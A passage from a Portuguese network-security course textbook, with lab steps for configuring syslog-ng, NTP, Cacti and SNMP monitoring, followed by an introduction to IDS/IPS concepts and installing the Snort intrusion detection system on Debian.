o aluno está convidado a questionar o instrutor sobre as outras ferramentas. As instru-
ções apresentadas durante este capítulo servem como ponto de partida para que o aluno
seja capaz de instalar e configurar qualquer uma das ferramentas apresentadas. Muitas
delas possuem versões pré-instaladas, em Live CDs, ou distribuições Linux customizadas
de fácil instalação.

93
94
Segurança de Redes e Sistemas
Roteiro de Atividades 4
Nas atividades deste roteiro, serão configurados os serviços essenciais de gerenciamento
de hosts em uma rede, como serviço de logs centralizado, serviço de sincronização de relógio
e monitoramento dos serviços e recursos dos sistemas.

Internet

Topologia A Topologia B
FWGW1 FWGW1

DHCP DHCP

DMZ 172.16.1.0/24 DMZ 172.16.1.0/24

Servidor Servidor Servidor Servidor


Windows Linux Windows Linux

Rede local 10.1.1.0/24 Rede local 10.1.1.0/24

Host Windows Host Windows

Figura 4.8
Topologias para
a realização das
atividades deste Atividade 1 – Configuração do servidor de Syslog
capítulo
Nesta atividade, o aluno vai configurar um repositório de Syslog em um servidor da DMZ e
enviará os logs dos demais servidores para esse servidor.
Capítulo 4 - Roteiro de Atividades

O objetivo desta atividade é fazer o aluno aplicar os conceitos de repositório de logs de uma
rede e preparar o ambiente para os serviços seguintes, que serão configurados durante o curso.

No host LinServer, para instalar o syslog-ng, é necessário que esse host já esteja com o acesso
à internet configurado conforme o Roteiro de Atividades 3. Após realizar a instalação, com
base na teoria apresentada, vamos configurar o servidor para receber o syslog local e da rede,
e colocar os logs de cada host em um arquivo diferente no diretório /var/log/syslog/.

95
Exemplo:

Tabela de arquivos de log

Host Arquivo

LinServer /var/log/syslog/linserver.log

FWGW1 /var/log/syslog/fwgw1.log

Passo 1 No console do VirtualBox, acesse a máquina LinServer. Entre com as credenciais


de usuário root.

Passo 2 Atualize a base de pacotes do apt-get com o repositório da internet:


# apt-get update

Passo 3 Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:
# apt-get install syslog-ng

Passo 4 Configure o syslog-ng para receber mensagens de Syslog de outros hosts da


rede e colocar mensagens de cada host em um arquivo específico:
# vi /etc/syslog-ng/syslog-ng.conf

Passo 5 No arquivo de configuração, adicione a origem remota. Neste caso vamos


aceitar conexões UDP porta 514 de qualquer endereço de origem:
source s_rede { udp(); };

Passo 6 No arquivo de configuração do syslog-ng, adicione a linha que especifica onde


serão armazenados os arquivos de log, com o parâmetro “destination”;
destination d_hosts-file { file(“/var/log/$HOST.log”); };
destination d_localhost-file { file(“/var/log/localhost.log”)};

Passo 7 No arquivo de configuração do syslog-ng, defina a regra log, associando a


origem ao destino desejado. Lembre-se da tabela acima para definir essa regra:
log { source(s_rede); destination(d_hosts-file); };
log { source(s_all); destination(d_localhost-file); };

Passo 8 Como esta máquina foi configurada como servidor syslog-ng e também como
agente, os logs locais da máquina devem iniciar o armazenamento no local
definido em “destination”, após o reinício do serviço:
# /etc/init.d/syslog-ng restart

Configuração do cliente syslog-ng


Iremos instalar o syslog-ng no host FWGW1 e configurar para gravar os logs no local e enviar
uma cópia para o servidor de logs.

Para instalar o syslog-ng, os comandos serão os mesmos apresentados para o servidor,


Segurança de Redes e Sistemas

conforme segue:

# apt-get update

# apt-get install syslog-ng

96
Passo 1 No console do VirtualBox, acesse a máquina FWGW1. Entre com as credenciais
de usuário root.

Passo 2 Atualize a base de pacotes do apt-get com o repositório da internet:


# apt-get update

Passo 3 Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:
# apt-get install syslog-ng

Passo 4 Configure o syslog-ng para receber mensagens de syslog do sistema


operacional e processos de usuários e armazenar essas mensagens em
arquivo específico, conforme a tabela de arquivos de log localizada no início
desta atividade:
# vi /etc/syslog-ng/syslog-ng.conf

Passo 5 No arquivo de configuração do syslog-ng, adicione a linha que especifica onde


serão armazenados os arquivos de log, com o parâmetro “destination”.
Neste caso o destino será o servidor de syslog, o host LinServer:
destination d_syslog-server { udp(“172.16.G.10” port(514)); };

Passo 6 Por fim, também no arquivo de configuração do syslog-ng, defina a regra log,
associando a origem ao destino desejado; use a tabela de arquivos de log para
definir essa regra:
log { source(s_all); destination(d_syslog-server); };

Passo 7 Como esta máquina foi configurada como agente syslog-ng, os logs da
máquina iniciarão o envio para o servidor definido em “destination”, após
o reinício do serviço:
# /etc/init.d/syslog-ng restart

Passo 8 Verifique no servidor de Syslog LinServer a criação do arquivo de log do host


FWGW1 e seus registros. Para testar o envio de logs execute no FWGW1-G
o comando:
# logger –p error Teste

Para configurar o syslog-ng como cliente, o aluno terá o material teórico e o manual do pro-
grama como referências. Para acessar o manual do syslog-ng, utilize o seguinte comando:

# man syslog-ng

Atividade 2 – Configuração do servidor de hora


Nesta atividade vamos configurar o serviço de sincronismo de relógio em um servidor da
rede e configurar os demais hosts da rede para sincronizar com o relógio desse servidor.

O aluno instalará o NTP nos hosts Linux, tanto no host que será o servidor de sincronismo
de relógio, quanto nos hosts que serão clientes desse servidor. Para instalar o NTP utiliza-
remos os seguintes comandos:
Capítulo 4 - Roteiro de Atividades

# apt-get update

# apt-get install ntp

Para reiniciar o serviço no Debian, utilize o seguinte comando:

# /etc/init.d/ntp <ação>

97
Onde a ação pode ser:

11 start – para iniciar o serviço.

11 stop – para parar o serviço.

11 restart – para reiniciar o serviço.

A configuração do NTP fica por padrão no arquivo /etc/ntp.conf. Para que o programa assuma
as novas configurações realizadas no arquivo de configuração, é necessário reiniciar o
daemon NTP.

Configuração do servidor de sincronismo


Iremos configurar o host LinServer como servidor de sincronismo de relógio da rede. Assim,
esse servidor sincronizará os servidores de relógio externos da RNP (ntp1.rnp.br) e disponi-
bilizará o serviço de sincronismo de relógio para os outros hosts da rede.

Como referência para esta atividade, utilizaremos o manual on-line “NTP.br - A Hora Legal
Brasileira, via Internet”.

Passo 1 Instale o pacote NTP no host Debian LinServer no servidor LinServer-G; esse
será o nosso servidor de tempo do laboratório:
# apt-get install ntp

Passo 2 Edite o arquivo de configuração do NTP (/etc/ntp.conf) com o seu editor de


texto preferido e troque os servidores de tempo padrão do Debian pelos ser-
vidores de tempo do Comitê Gestor da Internet Brasil (CGI.br).
Exemplo:
# vi /etc/ntp.conf
Comente as linhas:
server 0.debian.pool.ntp.org iburst dynamic
server 1.debian.pool.ntp.org iburst dynamic
server 2.debian.pool.ntp.org iburst dynamic
server 3.debian.pool.ntp.org iburst dynamic
Adicione as seguintes linhas:
server a.ntp.br iburst
server b.ntp.br iburst
server c.ntp.br iburst

Passo 3 Reinicie o processo NTP com o comando:


# /etc/init.d/ntp restart

Passo 4 Para verificar o funcionamento do NTP, podemos utilizar os seguintes comandos:


# ntpq -c pe

Passo 5 É importante verificar também se o processo do servidor de NTP está


Segurança de Redes e Sistemas

carregado corretamente e escutando por conexões:


# netstat –nap | grep ntp

Configuração do cliente de sincronismo Linux


Para configurar o NTP nos hosts Linux Debian, instalaremos o NTP conforme mostrado
neste roteiro e iremos configurar o NTP para realizar a sincronia de relógio com o servidor
configurado no item anterior.

98
Passo 1 Instale o pacote NTP no host Debian FWGW1-G; este será nosso cliente de
tempo do laboratório:
# apt-get install ntp

Passo 2 Edite o arquivo de configuração do NTP (/etc/ntp.conf) com seu editor de texto
preferido e troque os servidores de tempo padrão do Debian pelos servidores
de tempo do Comitê Gestor da Internet Brasil (CGI.br).
Exemplo:
# vi /etc/ntp.conf
Comente as linhas:
server 0.debian.pool.ntp.org iburst dynamic
server 1.debian.pool.ntp.org iburst dynamic
server 2.debian.pool.ntp.org iburst dynamic
server 3.debian.pool.ntp.org iburst dynamic
Adicione as seguintes linhas:
server 172.16.G.10 iburst
Onde G é referente ao grupo, G=1 para Topologia A e G=2 para Topologia B.

Passo 3 Reinicie o processo NTP com o comando:


# /etc/init.d/ntp restart

Passo 4 Para verificar o funcionamento do NTP, utilize o comando:


# ntpq -c pe

Configuração do cliente de sincronismo Windows


O Microsoft Windows XP, Windows 7 e Windows 2008 Server possuem uma forma simples
de configurar o sincronismo de relógio com servidores de rede, desde de que não tenham
o servidor de diretório Microsoft Active Directory como controlador de domínio, pois dessa
forma o sincronismo é automático. Para a configuração do sincronismo automático do host
Windows com o servidor de hora da rede, clique duas vezes no relógio da barra de tarefas
para abrir uma janela auxiliar de configuração.

Passo 1 No host Windows XP, configure o relógio para sincronizar com o servidor de
relógio do laboratório, o servidor LinServer (172.16.G.10).

Capítulo 4 - Roteiro de Atividades

99
Passo 2 No host Windows 2008 Server, configure o relógio para sincronizar com o ser-
vidor de relógio do laboratório. Para isso, clique uma vez no relógio da barra de
ferramentas, e aparecerá um menu flutuante; clique em “Change date and time
settings...” e aparecerá a tela de auxílio de configuração do relógio, como a seguir:

Clique no botão “Change settings...” e aparecerá a tela de configuração do


servidor NTP:

Coloque o endereço IP do servidor NTP do laboratório, host LinServer.

Atividade 3 – Monitoramento de serviços


Nesta atividade prática, o Cacti será configurado para monitorar os recursos dos servidores
da rede. O Cacti e os pacotes necessários para o correto funcionamento serão instalados no
LinServer. Serão configurados agentes SNMP nos servidores WinServer e FWGW1 para que o
Cacti possa monitorar os recursos desses hosts.

Em um ambiente em produção, onde hosts estão configurados com SNMP versões 1


e 2c, nunca utilize as communities “public” ou “private”.

Nesses protocolos, as senhas são as próprias communities, de modo que é fortemente


Segurança de Redes e Sistemas

recomendado utilizar strings longas e complexas como communities. Para facilitar a imple-
mentação nesta atividade, excepcionalmente utilizaremos a community “public” nos hosts
com SNMP versão 2c.

Instalação do Cacti

Passo 1 No console do VirtualBox, acesse a máquina LinServer. Entre com as credenciais


de usuário root.

100
Passo 2 Atualize a base de pacotes do apt-get com o repositório da internet:
# apt-get update

Passo 3 Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:
# apt-get install cacti
Para a senha de root do MySQL, utilize rnp123.
Para o servidor http, escolha Apache.
Responda YES, para o instalador do Cacti criar os esquemas de banco de dados.
Para as demais solicitações de senha, utilize rnp123.

Passo 4 Configure o Apache para publicar o Cacti:


# cp /etc/cacti/apache.conf /etc/apache2/conf.d/cacti.conf
# /etc/init.d/apache2 restart

Passo 5 No host Windows XP, acesse o console web do Cacti para concluir a instalação:
http://172.16.G.10/cacti

Passo 6 No primeiro acesso do Cacti, utilize as seguintes credenciais:


Usuário: admin
Senha: admin
Será solicitada a alteração da senha: altere para rnpesr.

Instalação do agente SNMP no Linux

Passo 1 No console do VirtualBox, acesse a máquina FWGW1. Entre com as credenciais


de usuário root.

Passo 2 Atualize a base de pacotes do apt-get com o repositório da internet:


# apt-get update

Passo 3 Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:
# apt-get install snmpd

Passo 4 Configure o SNMPD para permitir consulta aos discos locais da máquina pelo
console de gerenciamento do Cacti instalado no host LinServer:
# vi /etc/snmp/snmpd.conf
Adicione as seguintes linhas:
com2sec readonly default public
syslocation Curso SEG-2 ESR RNP
syscontact Aluno ESR SEG-2 <aluno@esr.rnp.br>
disk /
load 12 14 14
Edite o arquivo /etc/default/snmpd para permitir consultas SNMP remotas pela
interface eth1:
Capítulo 4 - Roteiro de Atividades

# vi /etc/default/snmpd
Altere os parâmetros da variável SNMPDOPTS para:
SNMPDOPTS=’-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/
snmpd.pid 127.0.0.1 172.16.G.1’
Reinicie o serviço SNMPD:
#/etc/init.d/snmpd restart

Passo 5 No host Windows XP, acesse o console web do Cacti para adicionar a monito-
ração do novo host: http://172.16.G.10/cacti

101
Instalação do agente SNMP no Windows

Passo 1 No console do VirtualBox, acesse a máquina WinServer. Entre com as credenciais


de usuário “Administrator”.

Passo 2 Para adicionar o recurso SNMP no Windows, utilize a ferramenta “Server


Manager”, disponível no botão “Start”, e “Administrative Tools”.
No Server Manager, adicione a feature SNMP Services.

Passo 3 Habilite o Windows Firewall para permitir conexão SNMP.


Não é preciso executar este passo no laboratório, pois o firewall do
WinServer-G foi desativado no primeiro capítulo deste curso.

Passo 4 Configure o SNMP do Windows e crie a community “public”. Permita acesso do


host LinServer apenas de leitura. Para isso, acesse a janela do gerenciador de
serviços do Windows em “Start > All Programs > Administrative Tools > Services”.

Passo 5 Com o botão direito do mouse sobre o serviço “SNMP Service”, acesse a opção
“Properties”. Configure as abas “Agent” e “Security”.
Segurança de Redes e Sistemas

Ao final, reinicie o serviço “SNMP Service”.

Passo 6 No host Windows XP, acesse o console web do Cacti para adicionar a monito-
ração do novo host WinServer pela URL: http://172.16.G.10/cacti

102
5
Detecção e prevenção de intrusos
objetivos

Compreender as ferramentas open source disponíveis na internet e as técnicas


apropriadas para o monitoramento de segmentos de rede e de máquinas.

conceitos
Sistemas de Detecção de Intrusos (IDS), seus componentes e classificações, HIDS
e conceitos relacionados ao Snort, entre outros.

Introdução
Nos capítulos 2 e 3, vimos como estabelecer um perímetro para proteger uma rede interna
dos perigos da internet e de outras redes públicas, incluindo a criação de uma DMZ para
prover serviços públicos. Apesar de ser uma técnica bastante eficiente, existe a possibili-
dade de as nossas defesas serem atacadas e eventualmente vencidas. Lembre-se: não existe
sistema 100% seguro e isso sempre vai existir. Por isso, a detecção e a prevenção de intrusos
que consiste no monitoramento constante de diversos elementos, como segmentos de rede,
sistemas operacionais e aplicações. Através desse monitoramento constante, podemos
tomar uma ação caso alguma atividade suspeita seja detectada, que pode ser desde um
alerta para o administrador de segurança até o bloqueio temporário ou permanente do
atacante. Podemos considerar um IDS (Intrusion Detection System), em conjunto com um
firewall, como uma aplicação do princípio de defesa em profundidade.

Exercício de nivelamento 1 e
Detecção e prevenção de intrusos Capítulo 5 - Detecção e prevenção de intrusos

O que você entende por detecção e prevenção de intrusos?

Sistemas de Detecção de Intrusos (IDS)


Ferramenta capaz de detectar atividade maliciosa através do monitoramento constante q
de um segmento de rede ou de chamadas de sistema em um sistema operacional. Possui
os seguintes componentes: Sensor, Engine e Console.

11 Centralizados x Distribuídos.

103
Classificações: q
11 Quanto ao modo de funcionamento:

22 Detectores de anomalias.

22 Detectores de mau uso.

11 Quanto ao local de atuação:

22 Baseados em host (HIDS).

22 Baseados em redes (NIDS).

11 Quanto à forma de atuação

22 Reativos.

22 Passivos.

11 Ativos (IPS).

Um IDS consiste em uma ferramenta capaz de detectar atividade maliciosa através do


monitoramento constante de um segmento de rede ou de chamadas de sistema em um
sistema operacional. Existem diversos IDS no mercado com componentes e funcionamento
distintos, porém normalmente encontramos os seguintes componentes em um IDS:

11 Sensor: responsável por coletar informações sobre a rede, sistema operacional ou apli-
cação, para ser utilizado como parâmetro de entrada para o sistema de detecção.

11 Engine: responsável por analisar as informações coletadas e comparar com um padrão


conhecido, para assim determinar se é um evento normal ou malicioso. Algumas engines
trabalham com elementos mais determinísticos, como assinaturas de ataque. Outras traba-
lham com redes neurais e sistemas estatísticos, e podem detectar ataques desconhecidos.

11 Console: interface para o administrador configurar o funcionamento da ferramenta.

Esses componentes podem estar em uma única máquina ou distribuídos. Existem ainda
diferentes tipos de IDS de acordo com o modo de funcionamento, local e forma de atuação
frente a um ataque. Existem então as seguintes classificações para facilitar o nosso entendi-
mento sobre o assunto.

Quanto ao modo de funcionamento


11 Detector de anomalias: utiliza alguma função estatística ou rede neural para definir um
perfil de utilização normal da rede em uma etapa de aprendizado. Em seguida, analisa
constantemente o padrão atual com o aprendido. Caso ocorra algum desvio acima de um
limiar, considera que houve uma tentativa de intrusão. Essa técnica tem a vantagem de
possibilitar a detecção de ataques desconhecidos, mas pode gerar falsos positivos e não
é capaz de saber o ataque específico em ação.

11 Detector de mau uso: é o modo mais utilizado atualmente. Possui funcionamento pare-
cido com o de um antivírus. Através de um conjunto de assinaturas previamente confi-
Segurança de Redes e Sistemas

guradas, o IDS monitora o ambiente em busca de eventos que coincidam com alguma
assinatura. Possui baixo índice de falsos positivos caso as assinaturas sejam de boa quali-
dade. Não detectam ataques desconhecidos e dependem de atualização das assinaturas
por parte do fabricante ou da comunidade.

104
Quanto ao local de atuação
11 Baseados em host: agem em cima de uma única máquina. Normalmente são instalados na
própria máquina que se deseja proteger e monitoram chamadas do sistema operacional ou
atividades de uma aplicação específica. Comumente chamados de Host-based IDS (HIDS).

11 Baseados em redes: agem em cima de um segmento de rede. São instalados em uma


máquina que faz parte do segmento de rede. Monitoram o tráfego no segmento de rede
do qual a interface de monitoramento faz parte. Os IDSs de rede são chamados de NIDS.
Um NIDS é capaz de detectar atividade suspeita em uma rede inteira que se encontra
atrás dele, porém, como age no nível do sistema operacional, um HIDS é capaz de obter
informações mesmo que elas não trafeguem pela rede. Em arquiteturas reais, é muito
comum a combinação de NIDS e HIDS de modo a obter uma proteção mais completa.

Quanto à forma de atuação


11 Reativos: agem após um evento malicioso. Podem inserir regras em um firewall acoplado
ou tentar encerrar a conexão utilizando pacotes falsificados. É importante ressaltar que,
em alguns ataques, a reação pode ser tardia demais. Existem ataques em que um pacote
é suficiente para causar algum tipo de estrago. Nesses casos, no momento em que o IDS
reagir ao ataque, será tarde demais.

11 Passivos: não causam nenhuma alteração no ambiente. Fazem apenas registros dos
eventos e notificações para os administradores. Uma vantagem de um IDS passivo é
que ele não causa nenhuma interrupção na rede caso falhe, porém o tráfego malicioso
deixará de ser detectado. Aqui temos uma aplicação inversa do princípio de fail safe.

11 Ativos: agem ativamente em caso de evento malicioso. Os sistemas ativos são chamados
de Sistemas de Prevenção de Intrusos ou IPS.

Exercício de fixação 1 e
IDS
Explique no que consiste um IDS.

Quanto ao local de atuação, como podemos dividir os IDS? Onde atuam?

Sistema de Prevenção de Intrusos (IPS)


Capítulo 5 - Detecção e prevenção de intrusos

Ativos: q
11 Atuam normalmente em cima de tráfego de rede.

Vantagem:

11 Possibilidade de bloquear um ataque a partir do seu primeiro pacote.

Desvantagem:

11 Necessita ter capacidade de processamento suficiente.

Ação em caso de falha (fail safe):

11 Liberar acesso.

11 Bloquear acesso.

105
O IPS (Intrusion Prevention System) se diferencia do IDS pelo fato de ser ativo, ou seja, inter-
fere diretamente nos eventos que passam por ele, diferente do IDS, que é passivo, isto é,
apenas monitora os eventos, sem neles interferir. Os IPSs mais comuns são os de rede, que
atuam em cima do tráfego de rede. Na figura abaixo, podemos diferenciar um IDS de um IPS,
por meio da sua localização na rede.

IPS

Figura 5.1
IDS Localização do IDS
e IPS na rede.
Na Figura 5.1 podemos perceber que o tráfego passa diretamente pelo IPS, de modo que o
sistema pode optar por não transmitir um tráfego adiante, caso suspeite que seja malicioso.
Esse comportamento é diferente do comportamento do IDS, que apenas monitora o tráfego.
Mesmo que o IDS tome uma ação, essa será reativa, pois não vai interferir no tráfego da
rede. Uma vantagem clara dos IPSs é a possibilidade de bloquear um ataque a partir do seu
primeiro pacote, o que pode ser fundamental para mitigá-lo, visto que em alguns ataques,
basta um pacote para que o ataque seja bem-sucedido (lembre-se do ping da morte).

Uma desvantagem do IPS é a sua necessidade de capacidade de processamento suficiente


para analisar todos os pacotes que passam por ele, o que pode causar atrasos em casos
de redes muito sobrecarregadas; isso não ocorre no IDS, que é passivo. Um IDS sobrecar-
regado, porém, não consegue analisar todos os pacotes que passam por ele, de modo a se
tornar um IDS estatístico, pois analisa apenas uma porcentagem do tráfego. Em muitos IPSs
comerciais, o fabricante indica a taxa de transferência máxima (troughput) que um determi-
nado IPS é capaz de suportar. Outra característica importante a ser considerada em um IPS
é a ação em caso de falha. Um IPS onde ocorreu uma falha pode bloquear ou liberar todas
as conexões que passam por ele. Essa decisão é capciosa e complexa, pois liberar todas
as conexões pode permitir que um atacante acesse a rede protegida, e bloqueá-las pode
causar um problema de disponibilidade.

Exercício de fixação 2 e
IPS
O que são IPS?

Como podemos diferenciar um IPS de um IDS?


Segurança de Redes e Sistemas

Sistemas de Detecção de Intrusos em hosts (HIDS)


HIDS agem em uma máquina específica realizando: q
11 Monitoramento.

11 System calls.

11 Logs de aplicação.

11 Modificação em arquivos.

11 Criação de processos.

106
Exemplos: q
11 OSSEC.

11 SAMHAIN.

11 Tripwire.

11 Osíris.

Na maior parte dos casos, quando falamos em IDS, estamos nos referindo aos sistemas de
detecção de intrusos baseados em rede (NIDS), que são mais comuns. Um sistema baseado
em rede é capaz de monitorar um segmento de rede e detectar tráfego malicioso destinado
a qualquer máquina que se encontre atrás do segmento monitorado, criando uma proteção
mais abrangente, porém limitada a informações obtidas através de pacotes enviados na rede.

Como complemento aos NIDSs, existem sistemas de detecção que agem em uma máquina
específica, monitorando elementos como chamadas ao sistema (system calls), logs de
aplicação, modificação em arquivos ou registros, criação de processos, entre outros. São cha-
mados de HIDS (Host Intrusion Detection Systems). Um HIDS protege apenas a máquina onde
esteja instalado, porém é capaz de obter informações que não trafegam na rede.

Existem diversos tipos de HIDSs. Os mais simples monitoram questões simples de um


ambiente computacional, como alterações em arquivos, uso excessivo de CPU, memória
etc. Outros, mais complexos, se instalam como drivers ou módulos do kernel, monito-
rando elementos de baixo nível no sistema operacional, como chamadas ao sistema e
acesso físico ao disco, entre outros. É comum a combinação de NIDS e HIDS em uma rede,
de modo a monitorar tanto a rede, quanto as aplicações e sistemas operacionais.

As tecnologias de IDS atualmente estão bastante sedimentadas, de modo que existem


diversas ferramentas, livres e comerciais. Neste curso usaremos o Snort, considerado um
dos melhores IDS open source do mercado.

Exercício de fixação 3 e
HIDS
Explique o que é um HIDS.

Snort
q
Capítulo 5 - Detecção e prevenção de intrusos

NIDS open source baseado em assinaturas com plugin estatístico (SPADE). Tem estrutura
modular altamente customizável com plugins, disponível em diversas plataformas
(arquitetura modular).

11 Alertas

22 Arquivos texto.

22 Bases de dados.

11 Armazenamento dos pacotes.

22 FWGW1:/var/log/snort# ps aux | grep snort

22 snort 3305 26.6 58.1 174664 149108 ? S<s 03:54 5:11 /usr/sbin/snort -m
027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf -S HOME_
NET=[172.16.1.0/24] -i eth0

107
11 Controles de execução q
22 /etc/init.d/snort stop – encerra o Snort.

22 /etc/init.d/snort start – inicia o Snort.

22 /etc/init.d/snort restart – reinicia o Snort (aplica mudanças no arquivo de configuração).

O Snort é um NIDS open source, bastante conhecido. Ele é baseado em assinaturas, de


modo que é necessário que ele seja constantemente atualizado para continuar sendo
eficiente. Existe um plugin estatístico para o Snort, chamado SPADE, pouco usado.

O Snort possui uma estrutura modular altamente customizável, de modo que diversos plugins e
programas acessórios podem ser usados para expandir suas funcionalidades, como a possibi-
lidade de reagir a um alerta, a atualização automática das suas assinaturas e o gerenciamento
de diversos sensores espalhados em uma ou mais redes. Por ter o código-fonte aberto, o Snort
foi portado para plataformas como Linux e Windows. A figura a seguir apresenta os diferentes
componentes do Snort, desde a captura do pacote na rede até o registro de um alerta ou log.

Figura 5.2
Internet Decodificador Arquitetura Snort.
de pacote

Registro e
Preprocessadores Detection Engine
sistema de alerta
Alerta de saída ou
registro de arquivo
Pacote é descartado Módulos de saída

O decodificador de pacote é responsável pela obtenção dos pacotes no segmento de rede


monitorado. Os preprocessadores realizam diversos tipos de processamento em cima dos
pacotes, com o objetivo de obter tráfego normalizado. Questões como fragmentação, uso
de codificações diferentes e ofuscação de pacotes são tratadas nessa etapa. A seguir, o
detection engine é responsável por compilar as regras (assinaturas) e testar os pacotes contra
essas regras. O registro e sistema de alerta gera os registros do Snort e envia os alertas.
Figura 5.3
Por fim, os módulos de saída exportam os alertas e registros para um arquivo ou banco de Exemplo de alerta
dados. A figura a seguir apresenta um exemplo de alerta gerado pelo Snort. gerado pelo Snort.

Gerador da Código da
regra (GID) regra (SID) Descrição do alerta + classificação + prioridade

Revisão
Timestamp + IP + portas
[**][1:2001669:2] BLENDING-EDGE Web Proxy Get Request[**]
[Classification: Potentially Bad Traffic][Priority 2]
09/22-04:09:54.54.944632 192.168.1.1:64570-> 192.168.2.33:80
Segurança de Redes e Sistemas

TCP TTL:108 TOS:0x0 ID:17008 IpLen: 20 DgmLen: 454 DF


***AP***Seq: 0x478a75AC Ack: 0x4F338167 Win: 0x40B0 TcpLen: 20
[Xref=>http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0951]
Parâmetros [Xref=>http://www.secutiryfocus.com/bid/1756]
de rede
[Xref=>http://www.whitehats.com/info/IDS474] Referências

108
Através da arquitetura modular do Snort, é possível a geração de alertas em arquivos
texto, bases de dados, entre outros. Em conjunto com os alertas, é possível ainda o arma-
zenamento dos pacotes que causaram um determinado alerta, o que é importante para se
determinar se um determinado alerta é legítimo, ou se é um falso-positivo.

Há programas auxiliares ao Snort, que geram alertas em formatos mais úteis para um
administrador, como BASE (Basic Analysis and Security Engine), Sguil (The Analyst Console
for Network Security Monitoring) e OSSIM, considerado um SIEM (Security Information
and Event Management ). Um SIEM é uma ferramenta centralizada de segurança, com o
objetivo de concentrar as informações de segurança em uma única ferramenta. O OSSIM
é um conjunto de ferramentas integradas, com um console gráfico completo. Muitas das
ferramentas presentes no OSSIM foram ou serão apresentadas neste curso, como Snort,
Nessus, Ntop e Nagios. O interessante do OSSIM é que ele é disponibilizado como uma
imagem ISO, com todos os componentes instalados automaticamente, bastando apenas a
sua inicialização através dessa ISO.

Instalação do Snort
A instalação do Snort, assim como a de outros programas open source, normalmente envolveria
compilar o código-fonte e instalá-lo na máquina em questão. Porém, no caso do Linux, a própria
distribuição Debian, utilizada no nosso laboratório, provê o Snort já compilado, de modo que
basta uma conexão com a internet e dois comandos para instalar a parte básica do Snort:

apt-get update

apt-get install snort

O primeiro comando atualiza a base de pacotes do Debian e o segundo comando efetiva-


mente instala a última versão do Snort disponível. É importante ressaltar que o Debian nem
sempre disponibiliza as últimas versões dos programas, pois os desenvolvedores possuem
um rígido processo de inclusão de novas versões, de modo que a versão disponibilizada
normalmente é inferior à última versão disponível no site. Caso o aluno necessite de uma
versão mais atualizada, recomenda-se utilizar o conjunto de pacotes unstable ou utilizar
outra distribuição com atualizações mais frequentes, como o Ubuntu.

w Caso tudo corra bem, teremos o seguinte resultado:


Mais informações FWGW1:~# apt-get install snort
sobre os conjuntos
de pacotes podem Reading package lists... Done
ser encontradas no
Fórum Debian Building dependency tree
Capítulo 5 - Detecção e prevenção de intrusos

(Hibridizando o APT).
Reading state information... Done

The following extra packages will be installed:

libcompress-raw-zlib-perl libcompress-zlib-perl libfont-afm-perl

libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl

libhtml-tree-perl libio-compress-base-perl libio-compress-zlib-perl


libltdl3

libmailtools-perl libmysqlclient15off libpcap0.8 libprelude2

libtimedate-perl liburi-perl libwww-perl mysql-common oinkmaster

109
snort-common snort-common-libraries snort-rules-default

Suggested packages:

libio-socket-ssl-perl snort-doc

The following NEW packages will be installed:

libcompress-raw-zlib-perl libcompress-zlib-perl libfont-afm-perl

libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl

libhtml-tree-perl libio-compress-base-perl libio-compress-zlib-perl


libltdl3

libmailtools-perl libmysqlclient15off libpcap0.8 libprelude2

libtimedate-perl liburi-perl libwww-perl mysql-common oinkmaster snort

snort-common snort-common-libraries snort-rules-default

0 upgraded, 23 newly installed, 0 to remove and 0 not upgraded.

Need to get 5314kB of archives.

After this operation, 18.3MB of additional disk space will be used.

Do you want to continue [Y/n]? Y

[...]

Fetched 5314kB in 7s (737kB/s)

Preconfiguring packages ...

Selecting previously deselected package mysql-common.

(Reading database ... 19042 files and directories currently installed.)

[...]

Processing triggers for man-db ...

Setting up mysql-common (5.0.51a-24+lenny4) ...

Setting up libmysqlclient15off (5.0.51a-24+lenny4) ...

Setting up libpcap0.8 (0.9.8-5) ...

Setting up libltdl3 (1.5.26-4+lenny1) ...

Setting up libprelude2 (0.9.18.1-1) ...


Segurança de Redes e Sistemas

Setting up snort-common-libraries (2.7.0-20.4) ...

Setting up snort-rules-default (2.7.0-20.4) ...

Setting up snort-common (2.7.0-20.4) ...

Setting up snort (2.7.0-20.4) ...

Stopping Network Intrusion Detection System : snortNo running snort


instance found (warning).

Starting Network Intrusion Detection System : snort (eth0 no /etc/

110
snort/snort.eth0.conf found, defaulting to snort.conf ...done).

Setting up libcompress-raw-zlib-perl (2.012-1lenny1) ...

Setting up libio-compress-base-perl (2.012-1) ...

Setting up libio-compress-zlib-perl (2.012-1) ...

Setting up libcompress-zlib-perl (2.012-1) ...

Setting up libfont-afm-perl (1.20-1) ...

Setting up libhtml-tagset-perl (3.20-2) ...

Setting up liburi-perl (1.35.dfsg.1-1) ...

Setting up libhtml-parser-perl (3.56-1+lenny1) ...

Setting up libhtml-tree-perl (3.23-1) ...

Setting up libhtml-format-perl (2.04-2) ...

Setting up libtimedate-perl (1.1600-9) ...

Setting up libmailtools-perl (2.03-1) ...

Setting up libwww-perl (5.813-1) ...

Setting up oinkmaster (2.0-2) ...

FWGW1:~#

Algumas partes do resultado da instalação (representadas pelas linhas contendo [...]) foram
suprimidas por questão de tamanho. Ao final da execução do comando, o Snort estará
instalado e executando. Durante a instalação será perguntado o endereço da rede local,
que corresponderá ao parâmetro HOME_NET. Esse parâmetro é importante, pois o tráfego
que não se originar ou tiver como destino essa rede será ignorado pelo Snort. Caso queira
monitorar todo o tráfego que passa pela interface de captura do IDS, configure HOME_NET
como 0.0.0.0/0.

Com o Snort instalado, podemos verificar se está em execução utilizando o comando ps


no Linux:

FWGW1:/var/log/snort# ps aux | grep snort

snort 3305 26.6 58.1 174664 149108 ? S<s 03:54 5:11 /


usr/sbin/snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /
Capítulo 5 - Detecção e prevenção de intrusos

etc/snort/snort.conf -S HOME_NET=[172.16.1.0/24] -i eth0

Verifique que uma série de parâmetros são passados para o Snort automaticamente, por
conta da instalação do Snort no Debian. Os principais serão descritos a seguir.

Caso tenha interesse em outros parâmetros do Snort, o comando man snort apresenta q
uma descrição de todos os parâmetros existentes:

11 -D: modo daemon, executa o Snort como um serviço, de modo que ele ficará em
constante execução até que seu processo seja finalizado.

11 -d: instrui o Snort a incluir os dados da camada de aplicação no pacote que será registrado.

